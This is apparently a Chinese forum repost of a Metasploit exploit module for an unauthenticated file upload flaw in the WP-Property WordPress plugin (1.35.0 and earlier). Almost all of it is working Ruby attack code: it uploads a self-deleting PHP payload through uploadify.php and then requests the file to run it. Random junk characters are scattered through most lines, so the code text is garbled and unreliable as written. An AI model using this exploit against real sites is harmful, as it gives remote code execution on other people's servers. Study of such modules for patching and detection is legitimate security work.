WordPress WP-Property PHP 文件上传漏洞
& a. ^- p# Q* V3 U+ R$ W
: j8 f, Q. s: i. s, }7 y. _( S ## # This file is part of the Metasploit Framework and may be subject to, q" W; Q2 a- [
* u3 |+ {, q4 C- N, v1 v# redistribution and commercial restrictions. Please see the Metasploit$ ~ A |' r' Q( j
9 F! M' A0 t' m+ N2 V( |0 S
# Framework web site for more information on licensing and terms of use.
?1 y( d. H3 f0 R' y( ^
' d6 O' I2 I9 L# http://metasploit.com/framework/ ##
+ n. ^ ?) j" n% m) Z1 f
8 h# D/ g k6 h6 S
0 d! ]$ S- t7 |# l ^ d
3 A( S9 D3 ?" j4 ]2 p $ h1 D, C& m1 A R
# d8 Q- ?" M- i d" L. z# y7 Z; Xrequire 'msf/core'* x% a8 Z# p" N7 m+ T) A7 {/ A
require 'msf/core/exploit/php_exe'
# Z6 ]1 i8 w2 ~ j E. A
, o3 K) L4 O# H0 B+ ~" [! U$ B2 c1 vclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
" X2 H- l, H+ Z: U8 `, t. r; m'Description' => %q{8 y& y+ s f w2 L* c8 Q2 k
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>- L' [- k) M3 s# @
[' p( h+ {. n+ L1 ]1 i
'Sammy FORGIT', # initial discovery
" m% R6 K% {' R4 r$ T N+ e'James Fitts <fitts.james[at]gmail.com>' # metasploit module$ k6 X7 l: ^' r2 }
],3 H! Q) s: _1 r% Z6 j `: e
'License' => MSF_LICENSE,4 B X4 }. q6 M5 Z( V& `
'References' =>; h8 s* @, m0 L4 S- y
[
7 U, w; q& X# `4 `, H- t[ 'OSVDB', '82656' ],
$ M* p4 F) R) u, V, s9 E9 G8 L7 C[ 'BID', '53787' ],5 b8 l# O, ?4 g7 ^/ H2 S, ~
[ 'EDB', '18987'],2 H& Y' X9 p" m
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]( O$ ~2 \7 z) F" ^0 T" B
],' g. u4 J3 F; ^
'Payload' =>7 t" t6 Z3 n3 o2 {% X. Z3 ~0 T4 _
{
* r+ x$ b8 ?' p% B+ n+ k'BadChars' => "\x00",
: p0 s5 I; r$ b6 g$ G+ ?},
0 {8 r5 H8 i$ o9 ^' @/ M'Platform' => 'php',5 D! F( H$ m) @( O; ]. `# b
'Arch' => ARCH_PHP,
; S2 l1 n1 m* W* h5 }' b3 W'Targets' =>' T4 J- r y' l( P6 y O _% Y
[
- t @3 e) \1 I9 B9 T, [: x1 j% }[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
9 E2 ?7 I- s! U- [+ f0 Y( B[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]% y% c4 W) v9 R; K
],
% y& ~8 T# W4 D1 g. E& R; p- W# ^'DefaultTarget' => 0,
. V. G3 y% ]" V0 W* ~5 Z' z8 T'DisclosureDate' => 'Mar 26 2012'))
, u9 Q) `: S1 w2 f3 v8 v. b: k" m& H. i2 J' S
register_options(* n# o, I/ }# \1 Q6 ?5 H! M
[
+ b2 j o' F" Y7 J" o- GOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
z8 N, P' \; R- ?], self.class)+ ?( t e1 P2 h O
end1 C0 ?, @' c$ j+ ]; [
& K+ I$ L+ [" ~8 _. L' `
def check# p" T" z1 S& r) J# k
uri = target_uri.path! T% W R3 V) K" t3 J- x
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
9 l' `' w4 @; Z. s2 k'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"* C7 D0 |2 }! D& n
}) }, x) X/ n }& A4 k& x' z
% T7 q6 O! |- v3 ~' Y- b! k# P
if not res or res.code != 200
; _. o0 z! u ^3 ]2 V/ @% zreturn Exploit::CheckCode::Unknown& U; r# W- e% X4 j( T0 D0 x5 J2 u
end
& ~. ~; O: F9 l1 {' e
) r: i$ u$ Q. [" ]2 m! treturn Exploit::CheckCode::Appears
, P% u; X) w5 c3 W1 `end# L7 n+ m5 y3 a
& ?: ~4 _4 m. d- i
def exploit% i( K, ^, E. L) g
uri = target_uri.path
! r1 U4 z6 f7 Q9 Y' h$ ?uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
7 s; J# D2 M% D1 U: N/ H$ d0 z. A# [ ^! r/ Y( N$ q2 w3 A
data = Rex::MIME::Message.new6 I4 v: _9 O8 l0 X7 h
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
. I# S* n' V( ~" X) fdata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
8 z1 A$ L; W5 e& c9 P% L$ xpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
( F. f& t( _( B3 A$ j
' a! R( \/ E9 V; f% V* K8 uprint_status("#{peer} - Uploading payload #{@payload_name}")
) k) t: q3 |9 n% Z: M/ nres = send_request_cgi({3 z% y; J) K& o7 @# s, T
'method' => 'POST',
5 ^/ G" ]9 R: H& L6 S0 q9 Q'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",, O, _8 |% o) a3 [- `
'ctype' => "multipart/form-data; boundary=#{data.bound}"," X* E5 {' n" V- _# G' ]
'data' => post_data, B9 q. P9 j/ i0 b9 x3 h
})
8 b; b7 A; M0 P; q6 u o! @' j# Z5 ]( y6 d4 h$ T
if not res or res.code != 200 or res.body !~ /#{@payload_name}/& w4 K/ [7 \$ q6 V* K8 W
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")6 F* o5 b5 w. T
end
$ F) J; M$ Q2 O4 U5 u
9 X) ~3 c ]( _upload_uri = res.body
: |4 x& M4 S- G$ q, @$ d' h% l' G8 K
print_status("#{peer} - Executing payload #{@payload_name}")( D1 G) r: E$ ` c
res = send_request_raw({& e7 F' j+ K+ K, k
'uri' => upload_uri," u% _ R( }4 y
'method' => 'GET'2 K" j. Y1 F- B/ d4 D8 W
})
6 H, m! D3 Z6 a8 F5 ~end7 d* E8 A; o/ E- a- y
end. y8 u! ?4 ~" j9 c k
. A' Q6 s5 ~5 x& t4 z& c不要问我这写的是什么 怎么利用 我是说msf.
) w7 t# O" e2 |2 t' @
) P- V6 S1 \; B' ]: d! O9 S |